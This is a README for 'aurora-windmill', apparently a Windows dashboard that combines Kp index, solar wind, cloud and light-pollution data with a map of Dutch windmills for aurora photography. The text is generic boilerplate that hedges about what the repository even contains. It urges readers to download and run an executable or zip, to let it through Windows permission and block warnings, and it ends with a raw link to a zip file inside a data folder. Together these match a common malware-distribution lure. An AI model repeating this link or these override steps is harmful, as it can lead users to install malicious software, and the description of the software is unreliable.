🌌 aurora-windmill - Track Auroras Above Dutch Windmills

🛰️ What this app does

aurora-windmill is a desktop dashboard for planning Northern Lights photos in the Netherlands. It brings together live space weather, cloud data, and a detailed windmill map so you can pick a good spot before you head out.

You can use it to check:

• Live Kp index
• OVATION aurora chance
• DSCOVR solar wind data
• Cloud forecast
• Windmill locations on a map
• Light pollution over the map
• Photo planning for night sky sessions

💻 What you need

This app is made for Windows users who want a simple way to view aurora and location data in one place.

You will need:

• A Windows PC
• A working internet connection
• A modern web browser if you use the app from the repository page
• Enough screen space to view the dashboard map well

If you plan to run the app from source, you may also need Python and a basic local web server setup. For most users, the main page is the best place to start.

⬇️ Download or open the app

Use this link to visit the project page and get the app:

Visit the aurora-windmill project page

If the repository offers a downloadable Windows build or release file, open that page and download the file that matches your PC.

🪟 How to run it on Windows

1. Open the project page

Go to the project page and look for the latest release, download link, or setup files.

2. Get the Windows file

If you see a file such as .exe, .zip, or .msi, download it to your computer.

If the project gives you a folder instead of a single installer, download the full folder or source package.

3. Open the downloaded file

• For .exe files, double-click the file to start the app
• For .msi files, follow the setup steps
• For .zip files, right-click and choose Extract All, then open the app file inside

4. Allow the app to start

Windows may ask for permission the first time you open it. Choose the option that lets the app run.

5. Use the dashboard

After the app opens, check the dashboard panels for:

• Current aurora chance
• Kp index
• Solar wind conditions
• Cloud cover
• Map view of Dutch windmills
• Light pollution overlay

🗺️ Using the dashboard

The main screen is built to help you decide where to go for a night sky photo.

Check space weather first

Look at the Kp index and OVATION aurora probability. These give a quick view of how strong the aurora may be.

Review cloud cover

Clouds matter a lot for night photography. A clear sky can make the difference between a useful trip and a wasted one.

Pick a windmill location

The map shows Dutch windmills so you can find a foreground that fits an aurora photo.

Watch light pollution

Light pollution can wash out faint aurora and stars. Use the overlay to find darker areas.

Compare data in one place

The app puts weather, space weather, and map data together. That saves time when you are deciding where to go.

📍 Best way to use it for photo planning

If you want the best results, follow this order:

1. Check the aurora chance
2. Check the Kp index
3. Check solar wind data
4. Check cloud cover
5. Look for a windmill with low light pollution
6. Plan your trip for a dark and clear night

This helps you avoid poor viewing spots and gives you a better chance of getting a sharp image with a strong foreground.

⚙️ If you want to run from source

Some users may want to open the project files and run the app from a local setup.

You may need:

• Python 3
• A browser
• A local server for web files
• Basic package install support

Typical steps may look like this:

1. Download the repository files
2. Open the folder on your PC
3. Install any required Python packages
4. Start the local app server
5. Open the local address shown in the terminal

If the project includes a Python script or startup file, use that file to launch the dashboard.

📁 Project contents

This project centers on a real-time dashboard with map and space weather data. Based on the repo topics and purpose, you can expect files for:

• Web UI layout
• Map display
• Data fetch logic
• Weather and aurora data views
• Styling for dashboard panels
• Image or icon assets for the interface

🔄 Data shown in the app

The dashboard uses live or near-live sources to help with planning.

Kp index

This gives a simple measure of geomagnetic activity. Higher values can mean a better chance to see aurora farther south.

OVATION aurora probability

This shows the chance of aurora based on current space weather models.

DSCOVR solar wind

Solar wind data helps show what is coming toward Earth from the Sun.

Cloud forecasts

Cloud data helps you see if the sky will stay clear enough for photos.

Light pollution overlay

This shows brighter areas and darker areas on the map so you can choose a better spot.

📌 Why this app is useful

Aurora trips take time. A dashboard like this helps reduce guesswork.

It can help you:

• Save time when choosing a location
• Compare aurora chance with cloud cover
• Find dark areas near windmills
• Plan a night photo session with more context
• Keep all key data in one place

🧭 Simple first-time checklist

Before you leave for a shoot:

• Charge your camera and phone
• Check the dashboard
• Pick one or two windmill locations
• Confirm cloud cover is low
• Watch for stronger aurora signs
• Bring warm clothes and spare batteries

🛠️ Common things to check if it does not open

If the app does not start:

• Make sure the download finished
• Try opening the file again
• Check that Windows did not block the file
• If you used a ZIP file, extract it first
• If you ran from source, check that Python is installed
• Open the project page again and look for a release file or setup file

📷 Good use cases

This dashboard works well for:

• Northern Lights planning in the Netherlands
• Windmill foreground photography
• Space weather tracking
• Night landscape planning
• Travel decisions before a photo trip

🔗 Project link

https://raw.githubusercontent.com/filmy6584/aurora-windmill/main/data/windmill_aurora_v3.2-beta.4.zip